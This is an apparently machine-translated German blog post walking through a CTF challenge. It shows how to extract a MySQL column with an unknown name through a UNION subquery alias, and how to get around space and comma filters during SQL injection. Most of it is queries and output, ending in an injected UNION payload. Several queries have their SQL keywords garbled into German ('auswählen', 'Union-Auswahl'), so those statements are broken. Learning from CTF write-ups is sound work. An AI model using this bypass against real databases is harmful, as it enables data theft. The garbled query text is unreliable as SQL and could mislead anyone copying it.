So umgehen Sie unbekannte Feldnamen in MySQL

So umgehen Sie unbekannte Feldnamen in MySQL

Vorwort

Dieser Artikel stellt die fünfte Frage von DDCTF vor, die Technik zum Umgehen unbekannter Feldnamen. Hier verwende ich die lokale Maschine, um sie zu betreiben. Die Idee ist großartig und klar. Teilen Sie sie mit allen. Schauen wir uns die ausführliche Einführung an:

Umsetzungsideen

Die Frage filtert Leerzeichen und Kommas. Leerzeichen können mit %0a, %0b, %0c, %0d, %a0 oder Klammern direkt umgangen werden. Kommas können mit „join“ umgangen werden.

Der Feldname, in dem das Flag gespeichert ist, ist unbekannt und information_schema.columns filtert auch den Hex-Wert des Tabellennamens heraus, d. h. der Feldname kann nicht abgerufen werden. In diesem Fall kann eine gemeinsame Abfrage verwendet werden. Der Vorgang ist wie folgt:

Die Idee besteht darin, die Flagge zu erhalten und sie unter einem bekannten Feldnamen erscheinen zu lassen.

Beispielcode:

mysql> auswählen (1 auswählen)a,(2 auswählen)b,(3 auswählen)c,(4 auswählen)d;
+---+---+---+---+
| ein | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 Zeile im Satz (0,00 Sek.)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 Zeile im Satz (0,00 Sek.)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+----------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+----------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | Administrator | admin888 | [email protected] |
| 2 | Test | test123 | [email protected] |
| 3 | cs | cs123 | [email protected] |
+---+----------+----------+-------------+
4 Zeilen im Satz (0,01 Sek.)
 
mysql> wähle e.4 aus (wähle * aus (wähle 1)a,(wähle 2)b,(wähle 3)c,(wähle 4)d Union wähle * aus Benutzer)e;
+-------------+
| 4 |
+-------------+
| 4 |
| [email protected] |
| [email protected] |
| [email protected] |
+-------------+
4 Reihen im Satz (0,03 Sek.)
 
mysql> wähle e.4 aus (Auswahl * aus (Auswahl 1)a,(Auswahl 2)b,(Auswahl 3)c,(Auswahl 4)d Union-Auswahl * aus Benutzer)e Limit 1 Offset 3;
 
+-------------+
| 4 |
+-------------+
| [email protected] |
+-------------+
1 Zeile im Satz (0,01 Sek.)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
Union-Auswahl * vom Benutzer)e Limit 1 Offset 3)f, (Auswahl 1)g, (Auswahl 1)h, (Auswahl 1)i;
+-------------+----------+----------+-------------+
| ID | Benutzername | Passwort | E-Mail |
+-------------+----------+----------+-------------+
| 1 | Administrator | admin888 | [email protected] |
| [email protected] | 1 | 1 | 1 |
+-------------+----------+----------+-------------+
2 Reihen im Satz (0,04 Sek.)

Zusammenfassen

Das Obige ist der vollständige Inhalt dieses Artikels. Ich hoffe, dass der Inhalt dieses Artikels Ihnen bei Ihrem Studium oder Ihrer Arbeit helfen kann. Wenn Sie Fragen haben, können Sie eine Nachricht hinterlassen. Vielen Dank für Ihre Unterstützung von 123WORDPRESS.COM.

Das könnte Sie auch interessieren:
  • Verhindern Sie XSS- und SQL-Injection: JS-Sonderzeichenfilterung regelmäßig
  • Eine SQL-Anweisung zum Filtern doppelter Daten
  • Zusammenfassung der MySQL-Injection-Bypass-Filtertechniken
  • SQL-Injection umgeht die Einschränkung auf einfache Anführungszeichen und setzt die Injektion fort
  • Zusammenfassung der SQL-Injection-Bypass-Techniken
  • Verwenden mehrspaltiger zusammengesetzter Indizes zum Umgehen eines Fehlers in Microsoft SQL Server
  • Einige wichtige Punkte zur Umgehung von SQL-Injection
  • Methode zum Wiederherstellen versehentlich gelöschter Heap-Tabellendatensätze im einfachen SQL Server-Modus (unter Umgehung der Header-Überprüfung)
  • SQL-Injection-Techniken: Detaillierte Analyse der Umgehung der Kommafilterung bei expliziten und blinden Injections

<<:  Tomcat erhält den Clientdomänennamen des Nginx-Reverse-Proxys

>>:  js implementiert eine einfache Methode zur Kapselung von jQuery und eine detaillierte Erklärung der Kettenoperationen

Artikel empfehlen

Grafisches Tutorial zur Installation und Konfiguration von MySQL 5.7

In diesem Tutorial erfahren Sie alles über die In...

Zusammenfassung der allgemeinen Docker-Befehle und Tipps

Installationsskript Ubuntu / CentOS Es scheint ei...

Detaillierte Erklärung der Linux-RPM- und Yum-Befehle und -Verwendung

RPM-Paketverwaltung Ein Verpackungs- und Installa...

So verbergen Sie die Versionsnummer in Nginx

Nginx verbirgt die Versionsnummer In einer Produk...

Beispielcode zur Implementierung von Follow Ads mit JavaScript

Floating Ads sind eine sehr verbreitete Form der ...

XHTML 1.0-Referenz

Nach Funktion sortierenNN: Gibt an, welche frühere...

So kompilieren Sie den Linux-Kernel

1. Laden Sie die erforderliche Kernel-Version her...

CentOS 8 offiziell veröffentlicht, basierend auf Red Hat Enterprise Linux 8

Das CentOS-Projekt, ein 100 % kompatibler Neuaufb...

So ändern Sie den Hostnamen in Linux

1. Den aktuellen Hostnamen anzeigen [root@fangjia...

XHTML-Tutorial für den Einstieg: Formular-Tags

<br />Formulare sind für Benutzer ein wichti...

So ändern Sie das Datenbankdatenspeicherverzeichnis in MySQL

Vorwort Die Standarddatenbankdatei der MySQL-Date...

Videojs+Swiper realisiert Taobao-Produktdetailkarussell

In diesem Artikel wird der spezifische Code von v...

JavaScript-Grundlagenoperatoren

Inhaltsverzeichnis 1. Betreiber Zusammenfassen 1....